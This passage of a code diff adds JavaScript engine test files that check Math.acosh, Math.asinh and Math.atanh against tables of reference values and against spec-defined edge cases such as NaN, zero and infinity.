+ [453.77490234375, 6.810747231716348],
+ [456.7745361328125, 6.817335895109251],
+ [457.9520263671875, 6.819910421197311],
+ [458.6795654296875, 6.821497844004013],
+ [460.5164794921875, 6.8254946428721475],
+ [461.8717041015625, 6.828433164406687],
+ [464.7025146484375, 6.834543470287694],
+ [467.0626220703125, 6.839609377592375],
+ [467.0712890625, 6.839627933844213],
+ [470.096923828125, 6.846084943645239],
+ [475.1607666015625, 6.856799276049143],
+ [477.5537109375, 6.861822721577315],
+ [478.626220703125, 6.864066049482581],
+ [478.7958984375, 6.864420497333681],
+ [479.6864013671875, 6.866278653973069],
+ [479.7867431640625, 6.866487814627139],
+ [479.9122314453125, 6.8667493311188395],
+ [482.4793701171875, 6.872084270243208],
+ [482.5181884765625, 6.872164723177875],
+ [483.8797607421875, 6.874982560453874],
+ [484.4649658203125, 6.876191234145179],
+ [485.3258056640625, 6.877966548833207],
+ [490.57373046875, 6.888721726428236],
+ [493.7423095703125, 6.89515989558997],
+ [494.272216796875, 6.896232568812718],
+ [496.44775390625, 6.900624415355815],
+ [497.0401611328125, 6.901816998553275],
+ [498.234130859375, 6.9042162822876465],
+ [665.0791015625, 7.193052598670793],
+ [1170.29150390625, 7.758155143419732],
+ [2058.7958984375, 8.323023697145112],
+ [5824.533203125, 9.36298131161099],
+ [9114.30859375, 9.810748008110926],
+ [31388.40625, 11.047341056314202],
+ [53732.765625, 11.584925435512535],
+ [117455.09375, 12.366958539207397],
+ [246210.625, 13.107089828327874],
+ [513670.125, 13.84248373881162],
+ [788353.25, 14.27084873575108],
+ [1736171, 15.060339852215408],
+ [3770530, 15.835873313657556],
+ [4344090, 15.977474039173265],
+ [11419360, 16.943967899150145],
+ [31023240, 17.943394339560967],
+ [40665424, 18.214035936745432],
+ [129788064, 19.374560581709215],
+ [225668224, 19.927723623778547],
+ [450631936, 20.619308638400597],
+ [750941952, 21.129986093026698],
+ [1887358976, 22.05159150215413],
+ [3738011648, 22.734966842639743],
+ [7486695424, 23.42954051928097],
+ [12668080128, 23.955498471391667],
+ [23918272512, 24.591055724582848],
+ [48862560256, 25.305424481799395],
+ [113763549184, 26.150535181949436],
+ [161334755328, 26.499894449532565],
+ [321933279232, 27.19075733422632],
+ [715734122496, 27.989721778208146],
+ [1875817529344, 28.953212876533797]
+];
+
+var sloppy_tolerance = 8; // FIXME
+
+for (var [x, y] of cosh_data)
+ assertNear(Math.acosh(x), y, sloppy_tolerance);
+
+assertNear(Math.acosh(1e300), 691.4686750787737, sloppy_tolerance);
+assertNear(Math.acosh(1.0000000001), 0.000014142136208675862, sloppy_tolerance);
+
+for (var i = 0; i <= 100; i++) {
+ var x = (i - 50) / 5;
+ var y = Math.cosh(x);
+ var z = Math.acosh(y);
+ assertNear(z, Math.abs(x), sloppy_tolerance);
+}
+
+for (var i = 1; i < 20; i++)
+ assertNear(Math.acosh(Math.cosh(i)), i, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/acosh-exact.js b/js/src/tests/non262/Math/acosh-exact.js
new file mode 100644
index 0000000000..ededaa48e1
--- /dev/null
+++ b/js/src/tests/non262/Math/acosh-exact.js
@@ -0,0 +1,26 @@
+// Properties of Math.acosh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.acosh(NaN), NaN);
+
+// If x is less than 1, the result is NaN.
+assertEq(Math.acosh(ONE_MINUS_EPSILON), NaN);
+assertEq(Math.acosh(Number.MIN_VALUE), NaN);
+assertEq(Math.acosh(+0), NaN);
+assertEq(Math.acosh(-0), NaN);
+assertEq(Math.acosh(-Number.MIN_VALUE), NaN);
+assertEq(Math.acosh(-1), NaN);
+assertEq(Math.acosh(-Number.MAX_VALUE), NaN);
+assertEq(Math.acosh(-Infinity), NaN);
+
+for (var i = -20; i < 1; i++)
+ assertEq(Math.acosh(i), NaN);
+
+// If x is 1, the result is +0.
+assertEq(Math.acosh(1), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.acosh(Number.POSITIVE_INFINITY), Number.POSITIVE_INFINITY);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/asinh-approx.js b/js/src/tests/non262/Math/asinh-approx.js
new file mode 100644
index 0000000000..354454fb40
--- /dev/null
+++ b/js/src/tests/non262/Math/asinh-approx.js
@@ -0,0 +1,303 @@
+var sinh_data = [
+ [-497.181640625, -6.902103625349695],
+ [-495.216552734375, -6.898143347143859],
+ [-488.0980224609375, -6.883664481302669],
+ [-486.4609375, -6.880304842490273],
+ [-482.2261962890625, -6.871561546509046],
+ [-468.167236328125, -6.841973895837549],
+ [-465.553955078125, -6.836376331805493],
+ [-464.288330078125, -6.833654100575195],
+ [-463.558837890625, -6.8320816635009045],
+ [-453.82861328125, -6.8108680173663085],
+ [-448.7835693359375, -6.799689165151487],
+ [-446.0499267578125, -6.793579326246197],
+ [-432.4046630859375, -6.762510387544996],
+ [-424.145751953125, -6.743225720989222],
+ [-402.8682861328125, -6.691758395994307],
+ [-402.4595947265625, -6.690743430063694],
+ [-390.1383056640625, -6.6596501292114505],
+ [-387.5355224609375, -6.652956360641761],
+ [-381.0023193359375, -6.635954365364267],
+ [-374.8172607421875, -6.619587562578274],
+ [-374.1033935546875, -6.617681179427804],
+ [-373.01318359375, -6.614762741096185],
+ [-370.0938720703125, -6.60690568753706],
+ [-364.5230712890625, -6.591738907156094],
+ [-361.3756103515625, -6.583066984213974],
+ [-358.1136474609375, -6.573999516974134],
+ [-350.8861083984375, -6.553610904389896],
+ [-350.7060546875, -6.553097634736138],
+ [-345.5616455078125, -6.538320325468202],
+ [-342.386962890625, -6.529090881007076],
+ [-341.9425048828125, -6.527791927233787],
+ [-337.3883056640625, -6.514383886150781],
+ [-328.8133544921875, -6.488639771044976],
+ [-326.1348876953125, -6.480460592697477],
+ [-313.12744140625, -6.439759999015992],
+ [-311.6180419921875, -6.434927968512049],
+ [-303.40478515625, -6.4082177348965725],
+ [-291.9320068359375, -6.369671035834965],
+ [-289.791015625, -6.362310184909175],
+ [-288.07568359375, -6.356373428913315],
+ [-282.76220703125, -6.337756593913614],
+ [-278.9659423828125, -6.32424009706147],
+ [-276.1881103515625, -6.314232650754295],
+ [-269.843994140625, -6.290994606392703],
+ [-256.47509765625, -6.240182555852785],
+ [-248.91619873046875, -6.2102675039793604],
+ [-245.71783447265625, -6.197335184435549],
+ [-244.9049072265625, -6.194021350132335],
+ [-242.49176025390625, -6.184119163536406],
+ [-223.97491455078125, -6.104686221071835],
+ [-223.0770263671875, -6.100669325836893],
+ [-221.50177001953125, -6.093582856519022],
+ [-214.1610107421875, -6.0598807500687935],
+ [-202.9705810546875, -6.0062142965262515],
+ [-200.1683349609375, -5.9923121073369945],
+ [-198.0869140625, -5.981859446096083],
+ [-191.8330078125, -5.9497792165852905],
+ [-183.4495849609375, -5.90509449745879],
+ [-182.9005126953125, -5.902097012275789],
+ [-167.5517578125, -5.8144483910067954],
+ [-162.87738037109375, -5.786154254111214],
+ [-159.6142578125, -5.765917008989405],
+ [-150.01629638671875, -5.703902219845274],
+ [-148.34051513671875, -5.6926689504460395],
+ [-147.23760986328125, -5.685206387751923],
+ [-143.65484619140625, -5.660572815631807],
+ [-138.70599365234375, -5.625516713960633],
+ [-119.55416870117188, -5.476934234171879],
+ [-118.44155883789062, -5.467584665632571],
+ [-112.7041015625, -5.417932675603434],
+ [-111.43020629882812, -5.406565756574079],
+ [-107.77297973632812, -5.373195678988387],
+ [-107.6795654296875, -5.3723285712183735],
+ [-105.091796875, -5.348004040102253],
+ [-101.261474609375, -5.31087758970896],
+ [-95.79150390625, -5.255348419702703],
+ [-91.26885986328125, -5.206986845736275],
+ [-87.33349609375, -5.162914035396619],
+ [-78.23873901367188, -5.052952927749896],
+ [-77.912353515625, -5.048772883924985],
+ [-76.83489990234375, -5.034848487644809],
+ [-61.255645751953125, -4.808269821238499],
+ [-54.41380310058594, -4.689849459883311],
+ [-43.967193603515625, -4.476720236388958],
+ [-42.01084899902344, -4.431216695067421],
+ [-30.609375, -4.114720236218123],
+ [-26.711166381835938, -3.9785790831656023],
+ [-25.241317749023438, -3.9220215830953484],
+ [-14.624359130859375, -3.3770026324620295],
+ [-12.431087493896484, -3.214961448471211],
+ [-10.235607147216797, -3.021397455139021],
+ [-9.41094970703125, -2.937831931335705],
+ [-1.635939121246338, -1.267878515574959],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.3050326092288742e-8, 2.305032609228874e-8],
+ [5.9392490925347374e-8, 5.939249092534734e-8],
+ [1.166764889148908e-7, 1.1667648891489053e-7],
+ [2.3799674409019644e-7, 2.379967440901942e-7],
+ [4.684659415943315e-7, 4.6846594159431437e-7],
+ [9.382699772686465e-7, 9.382699772685088e-7],
+ [0.00000110398559627356, 0.0000011039855962733358],
+ [0.0000032917760108830407, 0.000003291776010877096],
+ [0.00000751721381675452, 0.000007517213816683722],
+ [0.000015114666894078255, 0.000015114666893502755],
+ [0.00002986399340443313, 0.00002986399339999406],
+ [0.00003387028118595481, 0.000033870281179478836],
+ [0.00009066011989489198, 0.00009066011977069884],
+ [0.00021949532674625516, 0.00021949532498377364],
+ [0.00043952150736004114, 0.00043952149320897676],
+ [0.0006333151832222939, 0.0006333151408864353],
+ [0.001115123275667429, 0.0011151230445582744],
+ [0.001962467096745968, 0.0019624658370807177],
+ [0.005553754046559334, 0.005553725496786973],
+ [0.008691128343343735, 0.008691018931968294],
+ [0.02993336319923401, 0.02992889492062484],
+ [0.05124260485172272, 0.05122020579778827],
+ [0.11201295256614685, 0.1117800293787828],
+ [0.23480379581451416, 0.23269806521543376],
+ [0.4898730516433716, 0.4721357117742938],
+ [0.7518312931060791, 0.694611571189336],
+ [1.655740737915039, 1.2781607348262256],
+ [3.5958566665649414, 1.9917262343245115],
+ [3.662705421447754, 2.009484184971722],
+ [4.142845153808594, 2.128787712416205],
+ [5.957065582275391, 2.4846967934155475],
+ [10.890350341796875, 3.083125584533294],
+ [27.3714599609375, 4.002981567623351],
+ [29.58606719970703, 4.080736210902826],
+ [30.79753875732422, 4.120845430011113],
+ [38.78157043457031, 4.351258506393416],
+ [46.88148498535156, 4.540883728536112],
+ [47.21551513671875, 4.547981853382592],
+ [47.2205810546875, 4.5480891170767],
+ [49.72361755371094, 4.599728302509061],
+ [61.557464599609375, 4.8131842711857535],
+ [67.82162475585938, 4.910082619934558],
+ [68.82363891601562, 4.924747230639767],
+ [73.75466918945312, 4.993937439635391],
+ [80.95669555664062, 5.087099712053554],
+ [85.26406860351562, 5.1389346970196295],
+ [85.2677001953125, 5.138977285472121],
+ [92.8238525390625, 5.223879832616765],
+ [94.50357055664062, 5.241812789460327],
+ [116.044677734375, 5.447141014648796],
+ [123.77554321289062, 5.511633288238573],
+ [132.3592529296875, 5.578681289305598],
+ [139.7633056640625, 5.633110296634631],
+ [143.9609375, 5.662701238627725],
+ [146.31298828125, 5.678906941005323],
+ [155.0980224609375, 5.737214893086866],
+ [155.47784423828125, 5.739660763047893],
+ [155.74066162109375, 5.741349685869528],
+ [163.60546875, 5.790614371552514],
+ [178.735107421875, 5.879059869096351],
+ [179.70269775390625, 5.884458728291027],
+ [179.81976318359375, 5.885109945587401],
+ [181.3594970703125, 5.893636014368936],
+ [194.82861328125, 5.965274032538233],
+ [195.23284912109375, 5.967346683696556],
+ [199.07666015625, 5.986843466070591],
+ [205.77423095703125, 6.019932686217942],
+ [206.04608154296875, 6.021252909681261],
+ [209.36480712890625, 6.037231102920489],
+ [210.703857421875, 6.043606439928324],
+ [215.2139892578125, 6.06478541011501],
+ [225.83892822265625, 6.112974120371601],
+ [226.95465087890625, 6.117902255760311],
+ [232.79864501953125, 6.1433256889594094],
+ [240.647216796875, 6.176483527820343],
+ [243.1324462890625, 6.186757751007361],
+ [251.26702880859375, 6.219667373726848],
+ [253.72906494140625, 6.229418088083555],
+ [254.6866455078125, 6.233184983047428],
+ [257.2001953125, 6.243005711460192],
+ [257.7401123046875, 6.245102704489327],
+ [261.731201171875, 6.260468857392134],
+ [263.75, 6.268152459140511],
+ [265.5167236328125, 6.2748285545831655],
+ [273.9171142578125, 6.305976070434008],
+ [278.897705078125, 6.32399546069982],
+ [279.167236328125, 6.324961403980197],
+ [292.207275390625, 6.370613506132747],
+ [293.5975341796875, 6.375359978930309],
+ [293.9749755859375, 6.3766447200146],
+ [295.1998291015625, 6.380802563199264],
+ [297.2799072265625, 6.387824152942429],
+ [297.9285888671875, 6.390003820200831],
+ [298.1058349609375, 6.3905985680679],
+ [300.2803955078125, 6.397866642974941],
+ [307.531005859375, 6.421725738171608],
+ [308.1754150390625, 6.423818963102848],
+ [309.7344970703125, 6.428865255911759],
+ [314.2847900390625, 6.443449261058927],
+ [314.7236328125, 6.444844602076255],
+ [320.8406982421875, 6.464094341970107],
+ [321.2459716796875, 6.465356699668166],
+ [321.9031982421875, 6.467400466944125],
+ [323.457763671875, 6.472218114936839],
+ [330.82861328125, 6.4947499213823265],
+ [335.008544921875, 6.507305446835735],
+ [340.7171630859375, 6.524202033435675],
+ [348.4677734375, 6.546694993078936],
+ [349.1292724609375, 6.548591493378012],
+ [372.4288330078125, 6.613194950203132],
+ [376.7574462890625, 6.6247505436339065],
+ [378.4306640625, 6.629181796246806],
+ [390.9031982421875, 6.6616087711302185],
+ [405.7918701171875, 6.698989091751707],
+ [407.3646240234375, 6.702857353572475],
+ [413.3758544921875, 6.717505881986416],
+ [415.7354736328125, 6.723197804327891],
+ [417.193603515625, 6.726699007993023],
+ [420.874755859375, 6.735483889307782],
+ [429.2635498046875, 6.755219602793124],
+ [429.756103515625, 6.756366380816258],
+ [433.9931640625, 6.766177290841293],
+ [434.0106201171875, 6.766217511883346],
+ [440.073974609375, 6.780091308338912],
+ [450.2220458984375, 6.802889310303153],
+ [455.017578125, 6.813484439494547],
+ [457.1668701171875, 6.818196843455478],
+ [457.5068359375, 6.818940201487998],
+ [459.2913818359375, 6.822833193143805],
+ [459.492431640625, 6.82327083544577],
+ [459.743896484375, 6.823817951018],
+ [464.888427734375, 6.834945773756887],
+ [464.96630859375, 6.835113285253827],
+ [467.6949462890625, 6.840964582694129],
+ [468.86767578125, 6.84346890521034],
+ [470.5927734375, 6.847141429556457],
+ [481.109619140625, 6.869243403190376],
+ [487.4595947265625, 6.882355637062964],
+ [488.521484375, 6.884531678915821],
+ [492.8812255859375, 6.89341643293734],
+ [494.0684814453125, 6.895822338701104],
+ [496.4613037109375, 6.900653737167637],
+ [716.154052734375, 7.2670429692740965],
+ [1799.92578125, 8.188647968122073],
+ [3564.845703125, 8.872023251113289],
+ [7139.869140625, 9.566596912986167],
+ [12081.22265625, 10.092554861905608],
+ [22810.2421875, 10.728112113864427],
+ [46598.96875, 11.442480870715618],
+ [108493.375, 12.28759157077177],
+ [153860.8125, 12.636950838344218],
+ [307019.5, 13.327813723030063],
+ [682577.25, 14.126778167009777],
+ [1788919, 15.090269265334971],
+ [3769169, 15.835512291283944],
+ [4327820, 15.973721689554742],
+ [11044024, 16.910547205715446],
+ [21423208, 17.573132558903225],
+ [62828288, 18.649063156437965],
+ [70207360, 18.760110887365155],
+ [154231424, 19.547111966180875],
+ [294509056, 20.193967491567523],
+ [1070557184, 21.484592263156223],
+ [1957922816, 22.088297141021556],
+ [3912507392, 22.780591462699917],
+ [7279233024, 23.401438520318692],
+ [9665245184, 23.684949498080787],
+ [22627590144, 24.5355829820426],
+ [60601991168, 25.520740767599584],
+ [134018236416, 26.31438890085422],
+ [204864946176, 26.73876398039979],
+ [284346286080, 27.06660583008718],
+ [914576637952, 28.234874284944635],
+ [1581915832320, 28.78280496108106]
+];
+
+for (var [x, y] of sinh_data)
+ assertNear(Math.asinh(x), y);
+
+assertNear(Math.asinh(1e300), 691.4686750787737);
+assertNear(Math.asinh(1e-300), 1e-300);
+assertNear(Math.asinh(1e-5), 0.000009999999999833334);
+assertNear(Math.asinh(0.3), 0.29567304756342244);
+assertNear(Math.asinh(1), 0.881373587019543);
+
+for (var i = 0; i <= 80; i++) {
+ var x = (i - 40) / 4;
+ assertNear(Math.asinh(Math.sinh(x)), x);
+}
+
+for (var i = -20; i < 20; i++)
+ assertNear(Math.asinh(Math.sinh(i)), i);
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Math/asinh-exact.js b/js/src/tests/non262/Math/asinh-exact.js
new file mode 100644
index 0000000000..49463d01fc
--- /dev/null
+++ b/js/src/tests/non262/Math/asinh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.asinh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.asinh(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.asinh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.asinh(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.asinh(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.asinh(-Infinity), -Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/atanh-approx.js b/js/src/tests/non262/Math/atanh-approx.js
new file mode 100644
index 0000000000..fcf61892db
--- /dev/null
+++ b/js/src/tests/non262/Math/atanh-approx.js
@@ -0,0 +1,280 @@
+var tanh_data = [
+ [-0.9999983310699463, -6.998237084679027],
+ [-0.9999978542327881, -6.87257975132917],
+ [-0.999992847442627, -6.2705920974657525],
+ [-0.9999861717224121, -5.940967614084813],
+ [-0.9999828338623047, -5.832855225378502],
+ [-0.9999399185180664, -5.20646301208756],
+ [-0.9998834133148193, -4.8749821841810785],
+ [-0.9998509883880615, -4.752279497280338],
+ [-0.9996016025543213, -4.260504202858904],
+ [-0.9993612766265869, -4.0244334353203115],
+ [-0.9989283084869385, -3.7655641082999236],
+ [-0.9969782829284668, -3.246782610980921],
+ [-0.9950058460235596, -2.9950671179940938],
+ [-0.9942638874053955, -2.9256242749609536],
+ [-0.990715742111206, -2.6839646283308363],
+ [-0.9903340339660645, -2.663723350226518],
+ [-0.9760982990264893, -2.207464998348322],
+ [-0.975830078125, -2.201817459680556],
+ [-0.9728245735168457, -2.1424542308291437],
+ [-0.9643559455871582, -2.0046686756020917],
+ [-0.9377224445343018, -1.7188337346177065],
+ [-0.9362406730651855, -1.7066940482565154],
+ [-0.9310147762298584, -1.6659543005533146],
+ [-0.9284839630126953, -1.6472838718760747],
+ [-0.9270248413085938, -1.6368067340881562],
+ [-0.9075665473937988, -1.5135473477311114],
+ [-0.897477388381958, -1.4590986086331497],
+ [-0.8920106887817383, -1.431681573516303],
+ [-0.8776559829711914, -1.365471286049011],
+ [-0.864722728729248, -1.3117705583444539],
+ [-0.8482067584991455, -1.249725893334944],
+ [-0.8056559562683105, -1.1145246028592257],
+ [-0.8048388957977295, -1.112200609756455],
+ [-0.7801985740661621, -1.0458778330822556],
+ [-0.7749934196472168, -1.032711173436253],
+ [-0.7619285583496094, -1.0007967281362184],
+ [-0.7504425048828125, -0.9739672824457072],
+ [-0.7495596408843994, -0.9719492983286864],
+ [-0.7481319904327393, -0.968698942014487],
+ [-0.7459518909454346, -0.9637657636705832],
+ [-0.7401137351989746, -0.9507308314464193],
+ [-0.7289731502532959, -0.9265325319867653],
+ [-0.7226788997650146, -0.9132299082876396],
+ [-0.7161557674407959, -0.8997082193533088],
+ [-0.7017018795013428, -0.8706453720344796],
+ [-0.7013418674468994, -0.86993650130945],
+ [-0.691054105758667, -0.8499705913361888],
+ [-0.6847054958343506, -0.837919455842005],
+ [-0.6838164329528809, -0.8362476144993315],
+ [-0.6747090816497803, -0.8193374156276964],
+ [-0.6575610637664795, -0.7885046044142132],
+ [-0.6522045135498047, -0.7791255597799839],
+ [-0.6261923313140869, -0.7351275788820003],
+ [-0.623173713684082, -0.7301771459970386],
+ [-0.6067488193511963, -0.7037597526130627],
+ [-0.5838055610656738, -0.6682166303197608],
+ [-0.579524040222168, -0.6617457665293066],
+ [-0.5760939121246338, -0.656596458857398],
+ [-0.5654678344726562, -0.6408350116350283],
+ [-0.5578761100769043, -0.6297442839791668],
+ [-0.5523209571838379, -0.6217149641475687],
+ [-0.5396339893341064, -0.6036390747171698],
+ [-0.5128989219665527, -0.5666556256064771],
+ [-0.5087778568267822, -0.5610793900942042],
+ [-0.4977825880050659, -0.546353950571504],
+ [-0.4913865327835083, -0.5378865967606703],
+ [-0.48976075649261475, -0.5357455496477738],
+ [-0.48493504524230957, -0.5294166456244711],
+ [-0.4479050636291504, -0.4820764946679979],
+ [-0.4461095333099365, -0.4798325976916711],
+ [-0.4429593086242676, -0.47590653371561276],
+ [-0.42827916145324707, -0.45778739362936793],
+ [-0.40590059757232666, -0.4306933608076879],
+ [-0.40029656887054443, -0.4240020382545707],
+ [-0.3961341381072998, -0.4190551379319939],
+ [-0.3836275339126587, -0.40430627175908734],
+ [-0.36686253547668457, -0.3847928551425507],
+ [-0.3657644987106323, -0.38352464227459343],
+ [-0.33507001399993896, -0.3485286317501442],
+ [-0.32572221755981445, -0.3380352468276522],
+ [-0.3191967010498047, -0.3307524237890151],
+ [-0.3000025749206543, -0.3095224337886503],
+ [-0.29665136337280273, -0.3058438250228025],
+ [-0.2944457530975342, -0.3034271164344305],
+ [-0.2872810363769531, -0.29560018347246825],
+ [-0.27738428115844727, -0.28484608203169437],
+ [-0.2390844225883484, -0.2438028008332661],
+ [-0.23685944080352783, -0.24144425169391517],
+ [-0.2253856658935547, -0.2293228153248168],
+ [-0.22283810377120972, -0.22664053064745143],
+ [-0.21552443504333496, -0.21895773601143995],
+ [-0.2153375744819641, -0.21876178107952995],
+ [-0.21016258001327515, -0.21334143320771737],
+ [-0.20250272750854492, -0.2053409277979887],
+ [-0.19156384468078613, -0.19396008474133075],
+ [-0.18251943588256836, -0.18458771439322938],
+ [-0.17464947700500488, -0.17645844608618066],
+ [-0.15646183490753174, -0.15775766677189154],
+ [-0.15580910444259644, -0.15708862621964176],
+ [-0.15365445613861084, -0.15488112515549593],
+ [-0.122499018907547, -0.12311733609904851],
+ [-0.1088167130947113, -0.10924929296737837],
+ [-0.08792558312416077, -0.08815322150790302],
+ [-0.08401328325271606, -0.08421178632314608],
+ [-0.06121261417865753, -0.06128924075509796],
+ [-0.05341699719429016, -0.05346789060550386],
+ [-0.05047759413719177, -0.05052053189238029],
+ [-0.02924579381942749, -0.029254136237332657],
+ [-0.02485968917608261, -0.02486481220617492],
+ [-0.020469173789024353, -0.02047203328100153],
+ [-0.01882001757621765, -0.018822240021756347],
+ [-0.016152501106262207, -0.016153906073109205],
+ [-0.0032715508714318275, -0.003271562543358962],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.3050326092288742e-8, 2.3050326092288745e-8],
+ [5.9392490925347374e-8, 5.939249092534745e-8],
+ [1.166764889148908e-7, 1.1667648891489133e-7],
+ [2.3799674409019644e-7, 2.3799674409020094e-7],
+ [4.684659415943315e-7, 4.684659415943658e-7],
+ [9.382699772686465e-7, 9.382699772689218e-7],
+ [0.00000110398559627356, 0.0000011039855962740086],
+ [0.0000032917760108830407, 0.0000032917760108949305],
+ [0.00000751721381675452, 0.000007517213816896115],
+ [0.000015114666894078255, 0.000015114666895229252],
+ [0.00002986399340443313, 0.00002986399341331128],
+ [0.00003387028118595481, 0.000033870281198906756],
+ [0.00009066011989489198, 0.00009066012014327826],
+ [0.00021949532674625516, 0.0002194953302712184],
+ [0.00043952150736004114, 0.0004395215356621756],
+ [0.0006333151832222939, 0.0006333152678940465],
+ [0.001115123275667429, 0.0011151237378863419],
+ [0.001962467096745968, 0.001962469616086656],
+ [0.005553754046559334, 0.005553811147953338],
+ [0.007324676960706711, 0.0073248079567425],
+ [0.008691128343343735, 0.008691347183450786],
+ [0.011912941932678223, 0.011913505535037906],
+ [0.02993336319923401, 0.029942308168570204],
+ [0.05124260485172272, 0.05128752666822782],
+ [0.05473744869232178, 0.05479221508125444],
+ [0.06158891320228577, 0.061666963819518306],
+ [0.09375360608100891, 0.09402975380882211],
+ [0.09442159533500671, 0.09470370926367391],
+ [0.09443172812461853, 0.09471393321406026],
+ [0.09943729639053345, 0.09976699249016487],
+ [0.11201295256614685, 0.11248498303558895],
+ [0.12310260534286499, 0.12373016402339168],
+ [0.13562965393066406, 0.13647060950861248],
+ [0.13763350248336792, 0.13851257866094746],
+ [0.14749455451965332, 0.14857829980464834],
+ [0.1618971824645996, 0.16333433166790448],
+ [0.17051106691360474, 0.17219298693637355],
+ [0.17051833868026733, 0.17220047646299907],
+ [0.18562912940979004, 0.18780647318150087],
+ [0.18898820877075195, 0.1912876932893582],
+ [0.23206615447998047, 0.23637212433914523],
+ [0.23480379581451416, 0.2392675448267427],
+ [0.2646920680999756, 0.27114729033023005],
+ [0.2794986963272095, 0.2871382059344433],
+ [0.28789305686950684, 0.2962673858386819],
+ [0.292596697807312, 0.30140373665239234],
+ [0.3101649284362793, 0.320727882769785],
+ [0.3109246492385864, 0.3215686893944558],
+ [0.31145012378692627, 0.3221505056451929],
+ [0.3271782398223877, 0.3396649461699478],
+ [0.3574345111846924, 0.37394153436545424],
+ [0.3593693971633911, 0.37616159223090223],
+ [0.35960352420806885, 0.37643046596933716],
+ [0.3626827001571655, 0.3799714809649667],
+ [0.38961827754974365, 0.4113499159905353],
+ [0.3904266357421875, 0.41230330080214],
+ [0.3981136083602905, 0.4214052375603139],
+ [0.411507248878479, 0.43742438709579096],
+ [0.4120509624481201, 0.43807911823743495],
+ [0.41868770122528076, 0.4460997186945703],
+ [0.42136549949645996, 0.4493511447897729],
+ [0.4516327381134033, 0.48674948990473677],
+ [0.4538639783859253, 0.4895560176112375],
+ [0.4655507802963257, 0.5043748446613433],
+ [0.48124635219573975, 0.5246050193978663],
+ [0.48621630668640137, 0.5310932154891663],
+ [0.4898730516433716, 0.5358932909903701],
+ [0.5024838447570801, 0.5526234425942533],
+ [0.5074074268341064, 0.5592320547729962],
+ [0.5093221664428711, 0.5618140818296767],
+ [0.5143489837646484, 0.5686253097655146],
+ [0.5154285430908203, 0.5700943191671631],
+ [0.5234100818634033, 0.5810250825991418],
+ [0.5274472236633301, 0.5866018515043636],
+ [0.5309803485870361, 0.5915094458340507],
+ [0.5477793216705322, 0.6152030999229688],
+ [0.5577394962310791, 0.6295459624918965],
+ [0.5582785606384277, 0.6303287742357745],
+ [0.5843560695648193, 0.6690521906099505],
+ [0.5871362686157227, 0.6732844960442398],
+ [0.5878911018371582, 0.6744372167164567],
+ [0.5903406143188477, 0.6781887236623534],
+ [0.5945003032684326, 0.684597775489552],
+ [0.5957975387573242, 0.6866065102131665],
+ [0.5961520671844482, 0.6871563252400655],
+ [0.6005008220672607, 0.6939300827887145],
+ [0.6150004863739014, 0.7169242329194352],
+ [0.6162893772125244, 0.7189998055497108],
+ [0.6194069385528564, 0.7240422748778544],
+ [0.6285066604614258, 0.7389438896054792],
+ [0.6293842792510986, 0.7403958734869583],
+ [0.6416172981262207, 0.7609178886018204],
+ [0.6424276828765869, 0.7622965466812235],
+ [0.6437420845031738, 0.7645378650643101],
+ [0.6468508243560791, 0.769864795178161],
+ [0.6615910530090332, 0.7956379107512945],
+ [0.669950008392334, 0.8106524185805045],
+ [0.6813662052154541, 0.8316597473423232],
+ [0.6968657970428467, 0.8611812790659296],
+ [0.6981887817382812, 0.8637579113749143],
+ [0.7447831630706787, 0.9611360201710216],
+ [0.7518312931060791, 0.9771540941752986],
+ [0.7534394264221191, 0.9808634133542229],
+ [0.7567856311798096, 0.9886489208209699],
+ [0.7817282676696777, 1.0497991719828956],
+ [0.8115026950836182, 1.1314141444187586],
+ [0.814647912979126, 1.1406947755584418],
+ [0.8266689777374268, 1.1775230833699681],
+ [0.8313877582550049, 1.1926138225701433],
+ [0.8343038558959961, 1.2021323323039612],
+ [0.8416652679443359, 1.2268570644335162],
+ [0.8584413528442383, 1.2873896671573652],
+ [0.8678996562957764, 1.3245040433929398],
+ [0.8679344654083252, 1.3246451309261607],
+ [0.8800599575042725, 1.3760334877782177],
+ [0.9003539085388184, 1.4740852961194106],
+ [0.9099440574645996, 1.5271990851861994],
+ [0.9142425060272217, 1.5527768948273004],
+ [0.9149219989776611, 1.556931837197936],
+ [0.9184908866882324, 1.5792896628381612],
+ [0.9188928604125977, 1.5818663359427627],
